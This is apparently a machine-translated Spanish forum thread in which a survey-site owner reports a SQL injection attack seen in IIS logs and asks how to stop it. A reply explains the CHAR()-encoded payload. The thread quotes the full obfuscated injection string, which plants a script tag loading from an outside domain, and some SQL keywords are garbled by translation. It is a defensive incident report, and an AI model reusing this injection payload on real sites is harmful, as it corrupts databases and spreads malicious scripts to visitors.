Tenemos un sitio de encuestas que aparentemente fue atacado. Los síntomas son idénticos a los descritos en la siguiente página de este sitio: XSS Attack on the ASP.NET Website.Ataque al sitio ASP que usa una base de datos del servidor SQL
me encontré con varias entradas en los registros de IIS que incluían el código malicioso:
</title> < script src = http: // google-stats49.info/ur.php>.
Aquí hay un ejemplo del valor del campo cs-uri-query para una de las entradas de registro de IIS.
SurveyID = 91 + actualización + usd_ResponseDetails + set + categoryName = REPLACE (fundido (categoryName + como + varchar (8000)), molde (char (60)% 2Bchar (47)% 2Bchar (116)% 2Bchar (105)% 2Bchar (116)% 2Bchar (108)% 2Bchar (101)% 2Bchar (62)% 2Bchar (60)% 2Bchar (115)% 2Bchar (99)% 2Bchar (114)% 2Bchar (105)% 2Bchar (112)% 2Bchar (116)% 2Bchar (32)% 2Bchar (115)% 2Bchar (114)% 2Bchar (99)% 2Bchar (61)% 2Bchar (104)% 2Bchar (116)% 2Bchar (116)% 2Bchar (112)% 2Bchar (58)% 2Bchar (47)% 2Bchar (47)% 2Bchar (103)% 2Bchar (111)% 2Bchar (111)% 2Bchar (103)% 2Bchar (108)% 2Bchar (101)% 2Bchar (45)% 2Bchar (115)% 2Bchar (116)% 2Bchar (97)% 2Bchar (116)% 2Bchar (115)% 2Bchar (53)% 2Bchar (48)% 2Bchar (46)% 2Bchar (105)% 2Bchar (110)% 2Bchar (102)% 2Bchar (111)% 2Bchar (47)% 2Bchar (117)% 2Bchar (114)% 2Bchar (46)% 2Bchar (112)% 2Bchar (104)% 2Bchar (112)% 2Bchar (62)% 2Bchar (60)% 2Bchar (47)% 2Bchar (115)% 2Bchar (99)% 2Bchar (114)% 2Bchar (105)% 2Bchar (112)% 2Bchar (1 16)% 2Bchar (62) + + como varchar (8000)), yeso (char (32) + + como varchar (8))) -
no entiendo cómo funciona el código anterior, pero aparentemente esto es lo que se envía en una cadena de consulta para corromper las columnas en nuestras tablas de base de datos. Hemos cerrado nuestro sitio por el momento. Podemos eliminar las secuencias de comandos de la base de datos, pero eso no impide que se corrompa de nuevo cuando ponemos el sitio nuevamente en línea.
¿Alguien tiene alguna sugerencia sobre cómo evitar que esto suceda?
CHAR (n) es una función 'TSQL que convierte un entero en un carácter ASCII. Esto es lo que contiene la muestra anterior: '', así que pruébelo: 'print char (60) + char (47) + char (116) + char (105) + char (116) + char (108) + char (101) + char (62) + char (60) + char (115) + char (99) + char (114) + char (105) + char (112) + char (116) + char (32) + char (115) + char (114) + char (99) + char (61) + char (104) + char (116) + char (116) + char (112) + char (58) + char (47) + char (47) + char (103) + char (111) + char (111) + char (103) + char (108) + char (101) + char (45) + char (115) + char (116) + char (97) + char (116) + char (115) + char (53) + '...' ' –